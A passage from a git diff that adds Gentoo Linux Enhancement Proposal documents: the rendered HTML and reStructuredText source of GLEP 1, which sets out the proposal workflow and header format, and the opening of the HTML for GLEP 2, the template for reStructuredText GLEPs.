+template <a class="footnote-reference" href="#rest" id="id14" name="id14">[5]</a> for use with ReStructuredText GLEPs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id23" id="glep-header-preamble" name="glep-header-preamble">GLEP Header Preamble</a></h1>
+<p>Each GLEP must begin with an <a class="reference" href="http://www.faqs.org/rfcs/rfc2822.html">RFC 2822</a> style header preamble.  The headers
+must appear in the following order.  Headers marked with &quot;*&quot; are
+optional and are described below.  All other headers are required.</p>
+<pre class="literal-block">
+  GLEP: &lt;glep number&gt;
+  Title: &lt;glep title&gt;
+  Version: &lt;cvs version string&gt;
+  Last-Modified: &lt;cvs date string&gt;
+  Author: &lt;list of authors' real names and optionally, email addrs&gt;
+* Discussions-To: &lt;email address&gt;
+  Status: &lt;Draft | Active | Accepted | Deferred | Rejected |
+           Final | Replaced&gt;
+  Type: &lt;Informational | Standards Track&gt;
+* Content-Type: &lt;text/plain | text/x-rst&gt;
+* Requires: &lt;glep numbers&gt;
+  Created: &lt;date created on, in dd-mmm-yyyy format&gt;
+  Post-History: &lt;dates of postings to gentoo-dev&gt;
+* Replaces: &lt;glep number&gt;
+* Replaced-By: &lt;glep number&gt;
+</pre>
+<p>The Author header lists the names, and optionally the email addresses
+of all the authors/owners of the GLEP.  The format of the Author header
+value must be</p>
+<blockquote>
+Random J. User &lt;<a class="reference" href="mailto:address&#64;dom.ain">address&#64;dom.ain</a>&gt;</blockquote>
+<p>if the email address is included, and just</p>
+<blockquote>
+Random J. User</blockquote>
+<p>if the address is not given.</p>
+<p>If there are multiple authors, each should be on a separate line
+following <a class="reference" href="http://www.faqs.org/rfcs/rfc2822.html">RFC 2822</a> continuation line conventions.  Note that personal
+email addresses in GLEPs will be obscured as a defense against spam
+harvesters.</p>
+<p>While a GLEP is in private discussions (usually during the initial Draft
+phase), a Discussions-To header will indicate the mailing list or URL where
+the GLEP is being discussed.  No Discussions-To header is necessary if the
+GLEP is being discussed privately with the author, or on the gentoo-dev
+mailing list.  Note that email addresses in the Discussions-To header will not
+be obscured.</p>
+<p>The Type header specifies the type of GLEP: Informational or Standards
+Track.</p>
+<p>The format of a GLEP is specified with a Content-Type header, which
+should read &quot;text/xml&quot; for Gentoo Guide XML or
+&quot;text/x-rst&quot; for ReStructuredText GLEPs (see GLEP 2
+<a class="footnote-reference" href="#rest" id="id15" name="id15">[5]</a>).</p>
+<p>The Created header records the date that the GLEP was assigned a number, while
+Post-History is used to record the dates of when new versions of the GLEP are
+posted to gentoo-dev.  Both headers should be in dd-mmm-yyyy format, e.g.
+14-Aug-2001.</p>
+<p>GLEPs may have a Requires header, indicating the GLEP numbers that this GLEP
+depends on.</p>
+<p>GLEPs may also have a Replaced-By header indicating that a GLEP has been
+rendered obsolete by a later document; the value is the number of the GLEP
+that replaces the current document.  The newer GLEP must have a Replaces
+header containing the number of the GLEP that it rendered obsolete.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id24" id="reporting-glep-bugs-or-submitting-glep-updates" name="reporting-glep-bugs-or-submitting-glep-updates">Reporting GLEP Bugs, or Submitting GLEP Updates</a></h1>
+<p>How you report a bug, or submit a GLEP update depends on several factors, such
+as the maturity of the GLEP, the preferences of the GLEP author, and the
+nature of your comments.  For the early draft stages of the GLEP, it's
+probably best to send your comments and changes directly to the GLEP author.
+For more mature, or finished GLEPs you may want to submit corrections to the
+Gentoo Linux bugzilla <a class="footnote-reference" href="#bugs" id="id16" name="id16">[6]</a> so that your changes don't get lost.  If the GLEP
+author is a Gentoo Linux developer, assign the bug/patch to him, otherwise
+assign it to the GLEP editors.</p>
+<p>When in doubt about where to send your changes, please check first with the
+GLEP author and/or GLEP editors.</p>
+<p>GLEP authors who are also Gentoo Linux developers can update the GLEPs
+themselves by using &quot;cvs commit&quot; to commit their changes.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id25" id="transferring-glep-ownership" name="transferring-glep-ownership">Transferring GLEP Ownership</a></h1>
+<p>It occasionally becomes necessary to transfer ownership of GLEPs to a new
+champion.  In general, we'd like to retain the original author as a co-author
+of the transferred GLEP, but that's really up to the original author.  A good
+reason to transfer ownership is because the original author no longer has the
+time or interest in updating it or following through with the GLEP process, or
+has fallen off the face of the 'net (i.e. is unreachable or not responding to
+email).  A bad reason to transfer ownership is because you don't agree with
+the direction of the GLEP.  We try to build consensus around a GLEP, but if
+that's not possible, you can always submit a competing GLEP.</p>
+<p>If you are interested in assuming ownership of a GLEP, send a message asking
+to take over, addressed to both the original author and the GLEP editors
+&lt;<a class="reference" href="mailto:glep&#64;gentoo.org">glep&#64;gentoo.org</a>&gt;.  If the original author doesn't respond to email in a
+timely manner, the GLEP editors will make a unilateral decision (it's not like
+such decisions can't be reversed :).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id26" id="references-and-footnotes" name="references-and-footnotes">References and Footnotes</a></h1>
+<table class="docutils footnote" frame="void" id="python" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="python">[1]</a></td><td><a class="reference" href="http://www.python.org">http://www.python.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="peps" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="peps">[2]</a></td><td><a class="reference" href="http://www.python.org/peps">http://www.python.org/peps</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="pep1" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="pep1">[3]</a></td><td><a class="reference" href="http://www.python.org/peps/pep-0001.html">http://www.python.org/peps/pep-0001.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="cvs" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="cvs">[4]</a></td><td>This historical record is available by the normal CVS commands
+for retrieving older revisions.  For those without direct access to the CVS
+tree, you can browse the current and past GLEP revisions via the Gentoo
+Linux viewcvs web site at
+<a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/gentoo/xml/htdocs/proj/en/glep/">http://www.gentoo.org/cgi-bin/viewcvs.cgi/gentoo/xml/htdocs/proj/en/glep/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="rest" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="rest">[5]</a></td><td><em>(<a class="fn-backref" href="#id14">1</a>, <a class="fn-backref" href="#id15">2</a>)</em> GLEP 2, Sample ReStructuredText GLEP Template,
+(<a class="reference" href="http://glep.gentoo.org/glep-0002.html">http://glep.gentoo.org/glep-0002.html</a>)</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="bugs" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="bugs">[6]</a></td><td><em>(<a class="fn-backref" href="#id5">1</a>, <a class="fn-backref" href="#id16">2</a>)</em> <a class="reference" href="http://bugs.gentoo.org">http://bugs.gentoo.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="forums" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="forums">[7]</a></td><td><em>(<a class="fn-backref" href="#id6">1</a>, <a class="fn-backref" href="#id7">2</a>)</em> <a class="reference" href="http://forums.gentoo.org">http://forums.gentoo.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="manager" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="manager">[8]</a></td><td><em>(<a class="fn-backref" href="#id8">1</a>, <a class="fn-backref" href="#id9">2</a>)</em> <a class="reference" href="http://www.gentoo.org/doc/en/management-structure.xml">http://www.gentoo.org/doc/en/management-structure.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="opl" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="opl">[9]</a></td><td><a class="reference" href="http://www.opencontent.org/openpub/">http://www.opencontent.org/openpub/</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="resthome" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id11" name="resthome">[10]</a></td><td><a class="reference" href="http://docutils.sourceforge.net/rst.html">http://docutils.sourceforge.net/rst.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="guidexml" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="guidexml">[11]</a></td><td><em>(<a class="fn-backref" href="#id10">1</a>, <a class="fn-backref" href="#id13">2</a>)</em> <a class="reference" href="http://www.gentoo.org/doc/en/xml-guide.xml">http://www.gentoo.org/doc/en/xml-guide.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="docutils" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id12" name="docutils">[12]</a></td><td><a class="reference" href="http://docutils.sourceforge.net/">http://docutils.sourceforge.net/</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id27" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0001.txt">View document source</a>.
+Generated on: 2008-06-05 06:05 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0001.txt b/xml/htdocs/proj/en/glep/glep-0001.txt
new file mode 100644
index 00000000..8e653d56
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0001.txt
@@ -0,0 +1,355 @@
+GLEP: 1
+Title: GLEP Purpose and Guidelines
+Version: $Revision: 1.12 $
+Last-Modified: $Date: 2008/06/05 06:05:32 $
+Author: Grant Goodyear <g2boojum@gentoo.org>
+Status: Active
+Type: Informational
+Content-Type: text/x-rst
+Created: 31-May-2003
+Post-History: 1-Jun-2003, 2-Jul-2003, 19-Jan-2008, 05-Jun-2008
+
+Credits
+=======
+
+The GLEP concept, and, in fact, much of the text of this document,
+is liberally stolen from Python's [#Python]_ PEPs
+[#PEPS]_, especially
+PEP-0001 [#PEP1]_ by Barry A. Warsaw, Jeremy Hylton, and David Goodger.
+
+What is a GLEP?
+===============
+
+GLEP stands for "Gentoo Linux Enhancement Proposal".  A GLEP is a design
+document providing information to the Gentoo Linux community, or describing
+a new feature for Gentoo Linux.  The GLEP should provide a concise technical
+specification of the feature and rationale for the feature.
+
+We intend GLEPs to be the primary mechanisms for proposing *significant* new
+features, for collecting community input on an issue, and for
+documenting the design decisions that have gone into Gentoo Linux.  The GLEP
+author is responsible for building consensus within the community and
+documenting dissenting opinions.
+
+Because the GLEPs are maintained as text files under CVS control, their
+revision history is the historical record of the feature proposal
+[#CVS]_.
+
+
+Kinds of GLEPs
+==============
+
+There are two kinds of GLEPs.  A Standards Track GLEP describes a new feature
+or implementation for Gentoo Linux.  An Informational GLEP describes provides
+general guidelines or information to the Gentoo Linux community, but does not
+propose a new feature.  Informational GLEPs do not necessarily represent a
+Gentoo Linux community consensus or recommendation, so users and implementors
+are free to ignore Informational GLEPs or follow their advice.
+
+
+GLEP Work Flow
+==============
+
+The GLEP editors assign GLEP numbers and change their status.  The current
+GLEP editors are Grant Goodyear and Alastair Tse.  Please send all
+GLEP-related email to <glep@gentoo.org>.
+
+The GLEP process begins with a new idea for Gentoo Linux.  It is highly
+recommended that a single GLEP contain a single key proposal or new idea.  The
+more focussed the GLEP, the more successful it tends to be.  The GLEP editors
+reserve the right to reject GLEP proposals if they appear too unfocussed or
+too broad.  If in doubt, split your GLEP into several well-focussed ones.
+
+Each GLEP must have a champion -- someone who writes the GLEP using the style
+and format described below, shepherds the discussions in the appropriate
+forums, and attempts to build community consensus around the idea.  The GLEP
+champion (a.k.a. Author) should first attempt to ascertain whether the idea is
+GLEP-able.  Small enhancements or patches often don't need a GLEP and can be
+injected into the Gentoo Linux development work flow with an enhancement "bug"
+submitted to the Gentoo Linux bugzilla [#BUGS]_.
+
+The GLEP champion then emails the GLEP editors <glep@gentoo.org> with a
+proposed title and a rough, but fleshed out, draft of the GLEP.  This draft
+must be written in GLEP style as described below.
+
+If the GLEP editor accepts the GLEP, he will assign the GLEP a number, label
+it as Standards Track (a better name would be nice here -- suggestions?) or
+Informational, give it status "Draft", and create and check-in the initial
+draft of the GLEP.  The GLEP editors will not unreasonably deny a GLEP.
+Reasons for denying GLEP status include duplication of effort, being
+technically unsound, not providing proper motivation or addressing backwards
+compatibility, or not in keeping with Gentoo Linux philosophy.  
+
+If a pre-GLEP is rejected, the author may elect to take the pre-GLEP to the
+gentoo-dev@gentoo.org mailing list to help flesh it out, gain feedback and
+consensus from the community at large, and improve the GLEP for re-submission.
+
+The author of the GLEP is then responsible for posting the GLEP to the
+gentoo-dev mailing list and to the Gentoo Linux forums [#FORUMS]_, and
+marshaling community support for it.  As updates are necessary, the GLEP
+author can check in new versions if they have CVS commit permissions, or can
+email new GLEP versions to the GLEP editors for committing.
+
+Standards Track GLEPs consist of two parts, a design document and a reference
+implementation.  The GLEP should be reviewed and accepted before a reference
+implementation is begun, unless a reference implementation will aid people in
+studying the GLEP.  Standards Track GLEPs must include an implementation -- in
+the form of code, patch, or URL to same -- before it can be considered Final.
+
+GLEP authors are responsible for collecting community feedback on a GLEP
+before submitting it for review.  A GLEP that has not been discussed on
+gentoo-dev@gentoo.org and/or the Gentoo Linux forums [#FORUMS]_ will not be
+accepted.  However, wherever possible, long open-ended discussions on public
+mailing lists should be avoided.  Strategies to keep the discussions efficient
+include setting up a specific forums thread for the topic, having the GLEP
+author accept private comments in the early design phases, etc.  GLEP authors
+should use their discretion here.
+
+Once the authors have completed a GLEP, they must inform the GLEP editors that
+it is ready for review.  GLEPs are reviewed by the appropriate Gentoo
+Manager [#MANAGER]_, who may approve or reject a GLEP outright, or
+send it back to the author(s) for revision.  For a GLEP that is pre-determined
+to be approvable (e.g., it is an obvious win as-is and/or its implementation
+has already been checked in) the appropriate Gentoo Manager [#MANAGER]_
+may also initiate a GLEP review, first notifying the GLEP author(s) and giving
+them a chance to make revisions.
+
+For a GLEP to be approved it must meet certain minimum criteria.  It must be a
+clear and complete description of the proposed enhancement.  The enhancement
+must represent a net improvement.  The proposed implementation, if applicable,
+must be solid and must not complicate the distribution unduly.  Finally, a
+proposed enhancement must satisfy the philosophy of Gentoo Linux.
+
+Once a GLEP has been accepted, the reference implementation must be completed.
+When the reference implementation is complete and accepted, the status will be
+changed to "Final".
+
+A GLEP can also be assigned status "Deferred".  The GLEP author or editor can
+assign the GLEP this status when no progress is being made on the GLEP.  Once
+a GLEP is deferred, the GLEP editor can re-assign it to draft status.
+
+A GLEP can also be "Rejected".  Perhaps after all is said and done it was not
+a good idea.  It is still important to have a record of this fact.
+
+GLEPs can also be replaced by a different GLEP, rendering the original
+obsolete (where version 2 of a policy, for example, might replace version 1).
+
+GLEP work flow is as follows::
+
+    Draft -> Accepted -> Final -> Replaced
+      ^
+      +----> Rejected
+      v
+    Deferred
+
+Some Informational GLEPs may also have a status of "Active" if they are never
+meant to be completed.  E.g. GLEP 1 (this GLEP).
+
+
+What belongs in a successful GLEP?
+==================================
+
+Each GLEP should have the following parts:
+
+1. Preamble -- RFC 822 style headers containing meta-data about the
+   GLEP, including the GLEP number, a short descriptive title (limited
+   to a maximum of 44 characters), the names, and optionally the
+   contact info for each author, etc.
+
+2. Abstract -- a short (~200 word) description of the technical issue
+   being addressed.
+
+3. Motivation -- The motivation is critical for GLEPs that want to
+   modify Gentoo Linux functionality.  It should clearly explain why the
+   existing functionality or policy is inadequate to address the problem that
+   the GLEP solves.  GLEP submissions without sufficient motivation may be
+   rejected outright.
+
+4. Specification -- The technical specification should describe the
+   specific areas of Gentoo Linux that would be touched by this GLEP.  If new
+   functionality is being introduced, what packages will that functionality
+   affect?  If new policy, who will be affected?
+
+5. Rationale -- The rationale fleshes out the specification by
+   describing what motivated the design and why particular design decisions
+   were made.  It should describe alternate designs that were considered and
+   related work, e.g. how the feature is supported in other distributions.
+
+   The rationale should provide evidence of consensus within the community and
+   discuss important objections or concerns raised during discussion.
+
+6. Backwards Compatibility -- All GLEPs 
+   must include a section describing any issues of backwards incompatibilities
+   and their severity.  The GLEP must explain how the author proposes to deal
+   with these incompatibilities.  (Even if there are none, this section should
+   be included to clearly state that fact.) GLEP submissions without a
+   sufficient backwards compatibility treatise may be rejected outright.
+
+7. Reference Implementation -- The reference implementation must be
+   completed before any GLEP is given status "Final", but it need not be
+   completed before the GLEP is accepted.  It is better to finish the
+   specification and rationale first and reach consensus on it before writing
+   code or significantly modifying ebuilds.
+
+8. Copyright/public domain -- Each GLEP must either be explicitly
+   labelled as placed in the public domain (see this GLEP as an example) or
+   licensed under the Open Publication License [#OPL].
+
+
+GLEP Formating and Template
+===========================
+
+GLEPs are written either in Gentoo Linux Guide-XML [#GUIDEXML]_ or in
+a just-barely-marked-up version of plain ASCII text
+called ReStructuredText [#ReSTHOME]_ that is then converted to HTML using
+Docutils [#DOCUTILS]_.  Using ReStructuredText GLEPs allows for rich markup
+that is still quite easy to read, but results in much better-looking and more
+functional HTML.  Moreover, it should be straightforward to convert GLEPs to
+Gentoo Linux guide xml [#GUIDEXML]_ if needed.  GLEP 2 contains a boilerplate
+template [#ReST]_ for use with ReStructuredText GLEPs.
+
+
+GLEP Header Preamble
+====================
+
+Each GLEP must begin with an RFC 2822 style header preamble.  The headers
+must appear in the following order.  Headers marked with "*" are
+optional and are described below.  All other headers are required. ::
+
+    GLEP: <glep number>
+    Title: <glep title>
+    Version: <cvs version string>
+    Last-Modified: <cvs date string>
+    Author: <list of authors' real names and optionally, email addrs>
+  * Discussions-To: <email address>
+    Status: <Draft | Active | Accepted | Deferred | Rejected |
+             Final | Replaced>
+    Type: <Informational | Standards Track>
+  * Content-Type: <text/plain | text/x-rst>
+  * Requires: <glep numbers>
+    Created: <date created on, in dd-mmm-yyyy format>
+    Post-History: <dates of postings to gentoo-dev>
+  * Replaces: <glep number>
+  * Replaced-By: <glep number>
+
+The Author header lists the names, and optionally the email addresses
+of all the authors/owners of the GLEP.  The format of the Author header
+value must be
+
+    Random J. User <address@dom.ain>
+
+if the email address is included, and just
+
+    Random J. User
+
+if the address is not given.  
+
+If there are multiple authors, each should be on a separate line
+following RFC 2822 continuation line conventions.  Note that personal
+email addresses in GLEPs will be obscured as a defense against spam
+harvesters.
+
+While a GLEP is in private discussions (usually during the initial Draft
+phase), a Discussions-To header will indicate the mailing list or URL where
+the GLEP is being discussed.  No Discussions-To header is necessary if the
+GLEP is being discussed privately with the author, or on the gentoo-dev
+mailing list.  Note that email addresses in the Discussions-To header will not
+be obscured.
+
+The Type header specifies the type of GLEP: Informational or Standards
+Track.
+
+The format of a GLEP is specified with a Content-Type header, which 
+should read "text/xml" for Gentoo Guide XML or 
+"text/x-rst" for ReStructuredText GLEPs (see GLEP 2
+[#ReST]_).
+
+The Created header records the date that the GLEP was assigned a number, while
+Post-History is used to record the dates of when new versions of the GLEP are
+posted to gentoo-dev.  Both headers should be in dd-mmm-yyyy format, e.g.
+14-Aug-2001.
+
+GLEPs may have a Requires header, indicating the GLEP numbers that this GLEP
+depends on.
+
+GLEPs may also have a Replaced-By header indicating that a GLEP has been
+rendered obsolete by a later document; the value is the number of the GLEP
+that replaces the current document.  The newer GLEP must have a Replaces
+header containing the number of the GLEP that it rendered obsolete.
+
+
+Reporting GLEP Bugs, or Submitting GLEP Updates
+===============================================
+
+How you report a bug, or submit a GLEP update depends on several factors, such
+as the maturity of the GLEP, the preferences of the GLEP author, and the
+nature of your comments.  For the early draft stages of the GLEP, it's
+probably best to send your comments and changes directly to the GLEP author.
+For more mature, or finished GLEPs you may want to submit corrections to the
+Gentoo Linux bugzilla [#BUGS]_ so that your changes don't get lost.  If the GLEP
+author is a Gentoo Linux developer, assign the bug/patch to him, otherwise
+assign it to the GLEP editors.
+
+When in doubt about where to send your changes, please check first with the
+GLEP author and/or GLEP editors.
+
+GLEP authors who are also Gentoo Linux developers can update the GLEPs
+themselves by using "cvs commit" to commit their changes.  
+
+Transferring GLEP Ownership
+===========================
+
+It occasionally becomes necessary to transfer ownership of GLEPs to a new
+champion.  In general, we'd like to retain the original author as a co-author
+of the transferred GLEP, but that's really up to the original author.  A good
+reason to transfer ownership is because the original author no longer has the
+time or interest in updating it or following through with the GLEP process, or
+has fallen off the face of the 'net (i.e. is unreachable or not responding to
+email).  A bad reason to transfer ownership is because you don't agree with
+the direction of the GLEP.  We try to build consensus around a GLEP, but if
+that's not possible, you can always submit a competing GLEP.
+
+If you are interested in assuming ownership of a GLEP, send a message asking
+to take over, addressed to both the original author and the GLEP editors
+<glep@gentoo.org>.  If the original author doesn't respond to email in a
+timely manner, the GLEP editors will make a unilateral decision (it's not like
+such decisions can't be reversed :).
+
+
+References and Footnotes
+========================
+
+.. [#PYTHON] http://www.python.org
+
+.. [#PEPS] http://www.python.org/peps
+
+.. [#PEP1] http://www.python.org/peps/pep-0001.html
+
+.. [#CVS] This historical record is available by the normal CVS commands
+   for retrieving older revisions.  For those without direct access to the CVS
+   tree, you can browse the current and past GLEP revisions via the Gentoo
+   Linux viewcvs web site at
+   http://www.gentoo.org/cgi-bin/viewcvs.cgi/gentoo/xml/htdocs/proj/en/glep/
+
+.. [#ReST] GLEP 2, Sample ReStructuredText GLEP Template, 
+   (http://glep.gentoo.org/glep-0002.html)
+
+.. [#BUGS] http://bugs.gentoo.org
+
+.. [#FORUMS] http://forums.gentoo.org
+
+.. [#MANAGER] http://www.gentoo.org/doc/en/management-structure.xml
+
+.. [#OPL] http://www.opencontent.org/openpub/
+
+.. [#ReSTHOME] http://docutils.sourceforge.net/rst.html
+
+.. [#GUIDEXML] http://www.gentoo.org/doc/en/xml-guide.xml
+
+.. [#DOCUTILS] http://docutils.sourceforge.net/
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0002.html b/xml/htdocs/proj/en/glep/glep-0002.html
new file mode 100644
index 00000000..a776b37f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0002.html
@@ -0,0 +1,681 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 2 -- Sample ReStructuredText GLEP Template</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0002.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">2</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Sample ReStructuredText GLEP Template</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0002.txt?cvsroot=gentoo">2003/07/19 12:09:20</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Grant Goodyear &lt;g2boojum&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Active</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Informational</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">31 May 2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">2-Jun-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#credits" id="id23" name="id23">Credits</a></li>
+<li><a class="reference" href="#abstract" id="id24" name="id24">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id25" name="id25">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id26" name="id26">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id27" name="id27">Backwards Compatibility</a></li>
+<li><a class="reference" href="#how-to-use-this-template" id="id28" name="id28">How to Use This Template</a></li>
+<li><a class="reference" href="#restructuredtext-glep-formatting-requirements" id="id29" name="id29">ReStructuredText GLEP Formatting Requirements</a><ul>
+<li><a class="reference" href="#general" id="id30" name="id30">General</a></li>
+<li><a class="reference" href="#section-headings" id="id31" name="id31">Section Headings</a></li>
+<li><a class="reference" href="#paragraphs" id="id32" name="id32">Paragraphs</a></li>
+<li><a class="reference" href="#inline-markup" id="id33" name="id33">Inline Markup</a></li>
+<li><a class="reference" href="#block-quotes" id="id34" name="id34">Block Quotes</a></li>
+<li><a class="reference" href="#literal-blocks" id="id35" name="id35">Literal Blocks</a></li>
+<li><a class="reference" href="#lists" id="id36" name="id36">Lists</a></li>
+<li><a class="reference" href="#tables" id="id37" name="id37">Tables</a></li>
+<li><a class="reference" href="#hyperlinks" id="id38" name="id38">Hyperlinks</a></li>
+<li><a class="reference" href="#footnotes" id="id39" name="id39">Footnotes</a></li>
+<li><a class="reference" href="#images" id="id40" name="id40">Images</a></li>
+<li><a class="reference" href="#comments" id="id41" name="id41">Comments</a></li>
+<li><a class="reference" href="#escaping-mechanism" id="id42" name="id42">Escaping Mechanism</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#habits-to-avoid" id="id43" name="id43">Habits to Avoid</a></li>
+<li><a class="reference" href="#resources" id="id44" name="id44">Resources</a></li>
+<li><a class="reference" href="#references" id="id45" name="id45">References</a></li>
+<li><a class="reference" href="#copyright" id="id46" name="id46">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id23" id="credits" name="credits">Credits</a></h1>
+<p>The text of this GLEP was, to a significant extent, stolen from Python's
+<a class="footnote-reference" href="#python" id="id1" name="id1">[1]</a> PEP-0012 <a class="footnote-reference" href="#pep12" id="id2" name="id2">[2]</a> by David Goodger and Barry A. Warsaw.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id24" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP provides a boilerplate or sample template for creating your own
+reStructuredText GLEPs.  In conjunction with the content guidelines in GLEP 1
+<a class="footnote-reference" href="#glep1" id="id3" name="id3">[3]</a>, this should make it easy for you to conform your own GLEPs to the
+format outlined below.</p>
+<p>Note: if you are reading this GLEP via the web, you should first grab the text
+(reStructuredText) source of this GLEP in order to complete the steps below.
+<strong>DO NOT USE THE HTML FILE AS YOUR TEMPLATE!</strong></p>
+<p>To get the source of this (or any) GLEP, look at the top of the HTML page and
+click on the link titled &quot;GLEP Source&quot;.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id25" id="motivation" name="motivation">Motivation</a></h1>
+<p>Provide adequate motivation here.  In this particular case, we need to provide
+people with the information necessary to submit GLEPs in the proper form.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id26" id="rationale" name="rationale">Rationale</a></h1>
+<p>GLEP submissions come in a wide variety of forms, not all adhering to the
+format guidelines set forth below.  Use this template, in conjunction with the
+format guidelines below, to ensure that your GLEP submission won't get
+automatically rejected because of form.</p>
+<p>ReStructuredText is used to allow GLEP authors more functionality and
+expressivity, while maintaining easy readability in the source text.  The
+processed HTML form makes the functionality accessible to readers: live
+hyperlinks, styled text, tables, images, and automatic tables of contents,
+among other advantages.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id27" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not a problem for this GLEP.  This section should be included <em>even</em> when it
+is only to state that there are no backwards compatibility issues.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id28" id="how-to-use-this-template" name="how-to-use-this-template">How to Use This Template</a></h1>
+<p>To use this template you must first decide whether your GLEP is going to be an
+Informational or Standards Track GLEP.  Most GLEPs are Standards Track because
+they propose new functionality for some aspect of Gentoo Linux.  When in
